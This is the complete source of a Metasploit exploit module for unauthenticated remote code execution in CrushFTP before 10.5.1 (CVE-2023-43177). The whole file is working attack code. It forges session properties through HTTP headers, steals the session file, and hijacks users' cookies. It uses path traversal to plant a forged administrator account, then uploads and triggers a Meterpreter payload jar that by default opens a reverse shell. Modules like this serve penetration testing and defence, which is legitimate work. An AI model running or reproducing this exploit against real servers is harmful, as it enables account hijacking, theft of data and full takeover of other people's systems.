##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
prepend Msf::Exploit::Remote::AutoCheck
class CrushFtpError < StandardError; end
class CrushFtpNoAccessError < CrushFtpError; end
class CrushFtpNotFoundError < CrushFtpError; end
class CrushFtpUnknown < CrushFtpError; end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CrushFTP Unauthenticated RCE',
'Description' => %q{
This exploit module leverages an Improperly Controlled Modification
of Dynamically-Determined Object Attributes vulnerability
(CVE-2023-43177) to achieve unauthenticated remote code execution.
This affects CrushFTP versions prior to 10.5.1.
It is possible to set some user's session properties by sending an HTTP
request with specially crafted Header key-value pairs. This enables an
unauthenticated attacker to access files anywhere on the server file
system and steal the session cookies of valid authenticated users. The
attack consists in hijacking a user's session and escalates privileges
to obtain full control of the target. Remote code execution is obtained
by abusing the dynamic SQL driver loading and configuration testing
feature.
},
'License' => MSF_LICENSE,
'Author' => [
'Ryan Emmons', # Initial research, discovery and PoC
'Christophe De La Fuente' # Metasploit module
],
'References' => [
[ 'URL', 'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/'],
[ 'URL', 'https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py'],
[ 'URL', 'https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update'],
[ 'CVE', '2023-43177'],
[ 'CWE', '913' ]
],
'Platform' => %w[java unix linux win],
'Privileged' => true,
'Arch' => [ARCH_JAVA, ARCH_X64, ARCH_X86],
'Targets' => [
[
'Java',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java',
# If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface.
# If we set the payload manually to a bind payload (e.g. `java/meterpreter/bind_tcp`) the default LHOST will be
# used and the payload will fail if the target is not local (most likely).
# To avoid this, the default payload is set here, which prevent Framework to set a default LHOST.
'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }
}
],
[
'Linux Dropper',
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'linux'
}
],
[
'Windows Dropper',
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2023-08-08',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The base path of the CrushFTP web interface', '/']),
OptInt.new('SESSION_FILE_DELAY', [true, 'The delay in seconds between attempts to download the session file', 30])
]
)
end
def send_as2_query_api(headers = {})
rand_username = rand_text_hex(10)
opts = {
'uri' => normalize_uri(target_uri.path, 'WebInterface/function/?command=getUsername'),
'method' => 'POST',
'headers' => {
'as2-to' => rand_text_hex(8),
# Each key-value pair will be added into the current session’s
# `user_info` Properties, which is used by CrushFTP to store information
# about a user's session. Here, we set a few properties needed for the
# exploit to work.
'user_ip' => '127.0.0.1',
'dont_log' => 'true',
# The `user_name` property will be be included in the response to a
# `getUsername` API query. This will be used to make sure the operation
# worked and the other key-value pairs were added to the session's
# `user_info` Properties.
'user_name' => rand_username
}.merge(headers)
}
# This only works with anonymous sessions, so `#get_anon_session` should be
# called before to make sure the cookie_jar is set with an anonymous
# session cookie.
res = send_request_cgi(opts)
raise CrushFtpNoAccessError, '[send_as2_query_api] Could not connect to the web server - no response' if res.nil?
xml_response = res.get_xml_document
if xml_response.xpath('//loginResult/response').text != 'success'
raise CrushFtpUnknown, '[send_as2_query_api] The API returned a non-successful response'
end
# Checking the forged username returned in the response
unless xml_response.xpath('//loginResult/username').text == rand_username
raise CrushFtpUnknown, '[send_as2_query_api] username not found in response, the exploit didn\'t work'
end
res
end
def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20)
opts = {
'uri' => normalize_uri(target_uri.path, 'WebInterface/function/'),
'method' => 'POST'
}
if multipart
opts['vars_form_data'] = [
{
'name' => 'command',
'data' => command
},
]
unless cookie.blank?
opts['vars_form_data'] << {
'name' => 'c2f',
'data' => cookie.last(4)
}
end
opts['vars_form_data'] += vars unless vars.empty?
else
opts['vars_post'] = {
'command' => command
}.merge(vars)
opts['vars_post']['c2f'] = cookie.last(4) unless cookie.blank?
end
opts['cookie'] = "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}" unless cookie.nil?
res = send_request_cgi(opts, timeout)
raise CrushFtpNoAccessError, '[send_query_api] Could not connect to the web server - no response' if res.nil?
res
end
def get_anon_session
vprint_status('Getting a new anonymous session')
cookie_jar.clear
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'WebInterface'),
'method' => 'GET',
'keep_cookies' => true
)
raise CrushFtpNoAccessError, '[get_anon_session] Could not connect to the web server - no response' if res.nil?
match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)
raise CrushFtpNotFoundError, '[get_anon_session] Could not get the `currentAuth` cookie' unless match
vprint_status("Anonymous session cookie: #{match[:cookie]}")
match[:cookie]
end
def check
vprint_status('Checking CrushFTP Server')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'),
'method' => 'GET'
)
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?
return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i
cookie = get_anon_session
vprint_status('Checking if the attack primitive works')
# This will raise an exception in case of error
send_as2_query_api
do_logout(cookie)
CheckCode::Appears
rescue CrushFtpError => e
CheckCode::Unknown("#{e.class} - #{e.message}")
end
def rand_dir
@rand_dir ||= "WebInterface/Resources/libs/jq-3.6.0_#{rand_text_hex(10)}-js/"
end
def get_session_file
# Setting this here to be reachable by the ensure block
cookie = nil
begin
cookie = get_anon_session
rescue CrushFtpError => e
print_bad("[get_session_file] Unable to get an anonymous session: #{e.class} - #{e.message}")
return nil
end
vprint_status("Getting session file at `#{rand_dir}`")
headers = {
'filename' => '/',
'user_protocol_proxy' => rand_text_hex(8),
'user_log_file' => 'sessions.obj',
'user_log_path' => './',
'user_log_path_custom' => File.join('.', rand_dir)
}
send_as2_query_api(headers)
formatted_dir = File.join('.', rand_dir.delete_suffix('/'))
register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, rand_dir, 'sessions.obj'),
'method' => 'GET'
)
unless res&.code == 200
print_bad('[get_session_file] Could not connect to the web server - no response') if res.nil?
print_bad('[get_session_file] Could not steal the session file')
return nil
end
print_good('Session file downloaded')
tmp_hash = Rex::Text.md5(res.body)
if @session_file_hash == tmp_hash
vprint_status('Session file has not changed yet, skipping')
return nil
end
@session_file_hash = tmp_hash
res.body
rescue CrushFtpError => e
print_bad("[get_session_file] Unknown failure:#{e.class} - #{e.message}")
return nil
ensure
do_logout(cookie) if cookie
end
def check_sessions(session_file)
valid_sessions = []
session_cookies = session_file.scan(/\d{13}_[A-Za-z0-9]{30}/).uniq
vprint_status("Found #{session_cookies.size} session cookies in the session file")
session_cookies.each do |cookie|
res = send_query_api(command: 'getUsername', cookie: cookie)
username = res.get_xml_document.xpath('//loginResult/username').text
if username == 'anonymous'
vprint_status("Cookie `#{cookie}` is an anonymous session")
elsif username.empty?
vprint_status("Cookie `#{cookie}` is not valid")
else
vprint_status("Cookie `#{cookie}` is valid session (username: #{username})")
valid_sessions << { cookie: cookie, username: username }
end
rescue CrushFtpError => e
print_bad("[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} - #{e.message}")
end
valid_sessions
end
def check_admin_and_windows(cookie)
res = send_query_api(command: 'getDashboardItems', cookie: cookie)
is_windows = res.get_xml_document.xpath('//result/response_data/result_value/machine_is_windows').text
return nil if is_windows.blank?
return true if is_windows == 'true'
false
rescue CrushFtpError
vprint_status("[check_admin_and_get_os_family] Cookie #{cookie} doesn't have access to the `getDashboardItems` API, it is not an admin session")
nil
end
def get_writable_dir(path, cookie)
res = send_query_api(command: 'getXMLListing', cookie: cookie, vars: { 'path' => path, 'random' => "0.#{rand_text_numeric(17)}" })
xml_doc = res.get_xml_document
current_path = xml_doc.xpath('//listingInfo/path').text
if xml_doc.xpath('//listingInfo/privs').text.include?('(write)')
return current_path
end
res.get_xml_document.xpath('//listingInfo/listing/listing_subitem').each do |subitem|
if subitem.at('type').text == 'DIR'
dir = get_writable_dir(File.join(current_path, subitem.at('href_path').text), cookie)
return dir unless dir.nil?
end
end
nil
rescue CrushFtpError => e
print_bad("[get_writable_dir] Unknown failure: #{e.class} - #{e.message}")
nil
end
def upload_file(file_path, file_content, id, cookie)
file_size = file_content.size
vars = [
{ 'name' => 'upload_path', 'data' => file_path },
{ 'name' => 'upload_size', 'data' => file_size },
{ 'name' => 'upload_id', 'data' => id },
{ 'name' => 'start_resume_loc', 'data' => '0' }
]
res = send_query_api(command: 'openFile', cookie: cookie, vars: vars, multipart: true)
response_msg = res.get_xml_document.xpath('//commandResult/response').text
if response_msg != id
raise CrushFtpUnknown, "Unable to upload #{file_path}: #{response_msg}"
end
form_data = Rex::MIME::Message.new
form_data.add_part(file_content, 'application/octet-stream', 'binary', "form-data; name=\"CFCD\"; filename=\"#{file_path}\"")
post_data = form_data.to_s
post_data.sub!("Content-Transfer-Encoding: binary\r\n", '')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'U', "#{id}~1~#{file_size}"),
'method' => 'POST',
'cookie' => "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}",
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => post_data
)
vars = [
{ 'name' => 'upload_id', 'data' => id },
{ 'name' => 'total_chunks', 'data' => '1' },
{ 'name' => 'total_bytes', 'data' => file_size },
{ 'name' => 'filePath', 'data' => file_path },
{ 'name' => 'lastModified', 'data' => DateTime.now.strftime('%Q') },
{ 'name' => 'start_resume_loc', 'data' => '0' }
]
send_query_api(command: 'closeFile', cookie: cookie, vars: vars, multipart: true)
end
def check_egg(session_file, egg)
path = session_file.match(%r{FILE://.*?#{egg}})
return nil unless path
path = path[0]
vprint_status("Found the egg at #{path} in the session file")
if (match = path.match(%r{^FILE://(?<path>[A-Z]:.*)#{egg}}))
print_good("Found path `#{match[:path]}` and it is Windows")
elsif (match = path.match(%r{^FILE:/(?<path>.*)#{egg}}))
print_good("Found path `#{match[:path]}` and it is Unix-like")
end
match[:path]
end
def move_user_xml(admin_username, writable_dir)
headers = {
'filename' => '/',
'user_protocol_proxy' => rand_text_hex(8),
'user_log_file' => 'user.XML',
'user_log_path' => "./../../../../../../../../../../../../../../..#{writable_dir}",
'user_log_path_custom' => "./users/MainUsers/#{admin_username}/"
}
send_as2_query_api(headers)
end
def do_priv_esc_and_check_windows(session)
vprint_status('Looking for a directory with write permissions')
writable_dir = get_writable_dir('/', session[:cookie])
if writable_dir.nil?
print_bad('[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible')
return nil
end
print_good("Found a writable directory: #{writable_dir}")
egg_rand = rand_text_hex(10)
print_status("Uploading the egg file `#{egg_rand}`")
egg_path = File.join(writable_dir, egg_rand)
begin
upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie])
rescue CrushFtpError => e
print_bad("[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} - #{e.message}")
return nil
end
admin_password = rand_text_hex(10)
user_xml = <<~XML.gsub!(/\n */, '')
<?xml version='1.0' encoding='UTF-8'?>
<user type='properties'>
<username>#{session[:username]}</username>
<password>MD5:#{Rex::Text.md5(admin_password)}</password>
<extra_vfs type='vector'></extra_vfs>
<version>1.0</version>
<userVersion>6</userVersion>
<created_by_username>crushadmin</created_by_username>
<created_by_email></created_by_email>
<created_time>#{DateTime.now.strftime('%Q')}</created_time>
<filePublicEncryptionKey></filePublicEncryptionKey>
<fileDecryptionKey></fileDecryptionKey>
<max_logins>0</max_logins>
<root_dir>/</root_dir>
<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
<password_history></password_history>
</user>
XML
xml_path = File.join(writable_dir, 'user.XML')
print_status("Uploading `user.XML` to #{xml_path}")
begin
upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie])
rescue CrushFtpError => e
print_bad("[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} - #{e.message}")
return nil
end
path = nil
loop do
print_status('Looking for the egg in the session file')
session_file = get_session_file
if session_file
path = check_egg(session_file, egg_rand)
break if path
end
print_status("Egg not found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
sleep datastore['SESSION_FILE_DELAY']
end
print_good("Found the file system path: #{path}")
register_files_for_cleanup(File.join(path, egg_rand))
cookie = nil
begin
cookie = get_anon_session
rescue CrushFtpError => e
print_bad("[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} - #{e.message}")
return nil
end
admin_username = rand_text_hex(10)
vprint_status("The forged user will be `#{admin_username}`")
vprint_status("Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges")
is_windows = path.match(/^[A-Z]:(?<path>.*)/)
move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path)
do_logout(cookie)
# `cookie` is explicitly set to `nil` here to make sure the ensure block
# won't log it out again if the next call to `do_login` raises an
# exception. Without this line, if `do_login` raises an exception, `cookie`
# will still contain the value of the previous session cookie, which should
# have been logged out at this point. The ensure block will try to logout
# the same session again.
cookie = nil
print_status('Logging into the elevated account')
cookie = do_login(admin_username, admin_password)
fail_with(Failure::NoAccess, 'Unable to login with the elevated account') unless cookie
print_good('Logged in! Now let\'s create a temporary admin account')
[create_admin_account(cookie, is_windows), is_windows]
ensure
do_logout(cookie) if cookie
end
def create_admin_account(cookie, is_windows)
# This creates an administrator account with the required VFS setting for the exploit to work
admin_username = rand_text_hex(10)
admin_password = rand_text_hex(10)
user_xml = <<~XML.gsub!(/\n */, '')
<?xml version='1.0' encoding='UTF-8'?>
<user type='properties'>
<username>#{admin_username}</username>
<password>#{admin_password}</password>
<extra_vfs type='vector'></extra_vfs>
<version>1.0</version>
<userVersion>6</userVersion>
<created_by_username>crushadmin</created_by_username>
<created_by_email></created_by_email>
<created_time>#{DateTime.now.strftime('%Q')}</created_time>
<filePublicEncryptionKey></filePublicEncryptionKey>
<fileDecryptionKey></fileDecryptionKey>
<max_logins>0</max_logins>
<root_dir>/</root_dir>
<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
<password_history></password_history>
</user>
XML
url = is_windows ? 'FILE://C:/Users/Public/' : 'FILE://var/tmp/'
vfs_xml = <<~XML.gsub!(/\n */, '')
<?xml version='1.0' encoding='UTF-8'?>
<vfs_items type='vector'>
<vfs_items_subitem type='properties'>
<name>tmp</name>
<path>/</path>
<vfs_item type='vector'>
<vfs_item_subitem type='properties'>
<type>DIR</type>
<url>#{url}</url>
</vfs_item_subitem>
</vfs_item>
</vfs_items_subitem>
</vfs_items>
XML
perms_xml = <<~XML.gsub!(/\n */, '')
<?xml version='1.0' encoding='UTF-8'?>
<VFS type='properties'>
<item name='/'>
(read)(view)(resume)
</item>
<item name='/TMP/'>
(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow)
</item>
</VFS>
XML
vars_post = {
'data_action' => 'new',
'serverGroup' => 'MainUsers',
'username' => admin_username,
'user' => user_xml,
'xmlItem' => 'user',
'vfs_items' => vfs_xml,
'permissions' => perms_xml
}
res = send_query_api(command: 'setUserItem', cookie: cookie, vars: vars_post)
return nil if res.body.include?('Access Denied') || res.code == 404
{ username: admin_username, password: admin_password }
rescue CrushFtpError => e
print_bad("[create_admin_account] Unknown failure: #{e.class} - #{e.message}")
nil
end
def do_login(username, password)
vprint_status("[do_login] Logging in with username `#{username}` and password `#{password}`")
vars = {
'username' => username,
'password' => password,
'encoded' => 'true',
'language' => 'en',
'random' => "0.#{rand_text_numeric(17)}"
}
res = send_query_api(command: 'login', cookie: '', vars: vars)
unless res.code == 200 && res.get_xml_document.xpath('//loginResult/response').text.include?('success')
print_bad('[do_login] Login failed')
return nil
end
match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)
unless match
print_bad('[do_login] Cannot find session cookie in response')
return nil
end
match[:cookie]
end
def do_logout(cookie)
vprint_status("Logging out session cookie `#{cookie}`")
vars = {
'random' => "0.#{rand_text_numeric(17)}"
}
res = send_query_api(command: 'logout', cookie: cookie, vars: vars)
unless res.code == 200 && res.get_xml_document.xpath('//commandResult/response').text.include?('Logged out')
vprint_bad('[do_logout] Unable to logout')
end
rescue CrushFtpError => e
vprint_bad("[do_logout] An error occured when trying to logout: #{e.class} - #{e.message}")
end
def do_rce(cookie, is_windows)
jar_file = payload.encoded_jar({ arch: payload.arch.first })
jar_file.add_file("#{class_name}.class", constructor_class)
jar_filename = "#{rand_text_hex(4)}.jar"
jar_path = is_windows ? "C:/Users/Public/#{jar_filename}" : "/var/tmp/#{jar_filename}"
print_status("Uploading payload .jar file `#{jar_filename}` to #{jar_path}")
begin
upload_file(jar_filename, jar_file.pack, class_name, cookie)
rescue CrushFtpError => e
raise CrushFtpUnknown, "[do_rce] Unable to upload the payload .jar file: #{e.class} - #{e.message}"
end
print_status('Triggering the payload')
vars = {
'db_driver_file' => jar_path,
'db_driver' => class_name,
'db_url' => 'jdbc:derby:./hax;create=true',
'db_user' => rand_text(3..5),
'db_pass' => rand_text(10..15)
}
begin
send_query_api(command: 'testDB', cookie: cookie, vars: vars, timeout: 0)
rescue CrushFtpNoAccessError
# Expecting no response
end
register_files_for_cleanup(jar_path)
end
def delete_user(username, cookie)
vars = {
'data_action' => 'delete',
'serverGroup' => 'MainUsers',
'usernames' => username,
'user' => '<?xml version="1.0" encoding="UTF-8"?>',
'xmlItem' => 'user',
'vfs_items' => '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
'permissions' => '<?xml version="1.0" encoding="UTF-8"?><permissions type="vector"></permissions>'
}
send_query_api(command: 'setUserItem', cookie: cookie, vars: vars)
end
def exploit
admin_creds = nil
is_windows = nil
loop do
print_status('Downloading the session file')
session_file = get_session_file
unless session_file
print_status("No session file, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
sleep datastore['SESSION_FILE_DELAY']
next
end
print_status('Looking for the valid sessions')
session_list = check_sessions(session_file)
if session_list.empty?
print_status("No valid sessions found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")
sleep datastore['SESSION_FILE_DELAY']
next
end
# First, check if we have active admin sessions to go ahead and directly go the RCE part.
session_list.each do |session|
print_status("Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})")
# This will return nil if it is not an admin session
is_windows = check_admin_and_windows(session[:cookie])
next if is_windows.nil?
print_good('It is an admin! Let\'s create a temporary admin account')
admin_creds = create_admin_account(session[:cookie], is_windows)
break
end
# If the previous step failed, try to escalate privileges with the remaining active sessions, if any.
if admin_creds.nil?
print_status('Could not find any admin session or the admin account creation failed')
session_list.each do |session|
print_status("Attempting privilege escalation with session cookie #{session}")
admin_creds, is_windows = do_priv_esc_and_check_windows(session)
break unless admin_creds.nil?
end
end
break unless admin_creds.nil?
print_status(
"Creation of an admin account failed with the current active sessions, wait #{datastore['SESSION_FILE_DELAY']}"\
'seconds and try again... (Ctrl-C to exit)'
)
sleep datastore['SESSION_FILE_DELAY']
end
print_good("Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}")
cookie = do_login(admin_creds[:username], admin_creds[:password])
fail_with(Failure::NoAccess, 'Unable to login with the new administrator credentials') unless cookie
do_rce(cookie, is_windows)
print_status('Cleanup the temporary admin account')
delete_user(admin_creds[:username], cookie)
rescue CrushFtpError => e
fail_with(Failure::Unknown, "Unknown failure: #{e.class} - #{e.message}")
ensure
do_logout(cookie) if cookie
end
end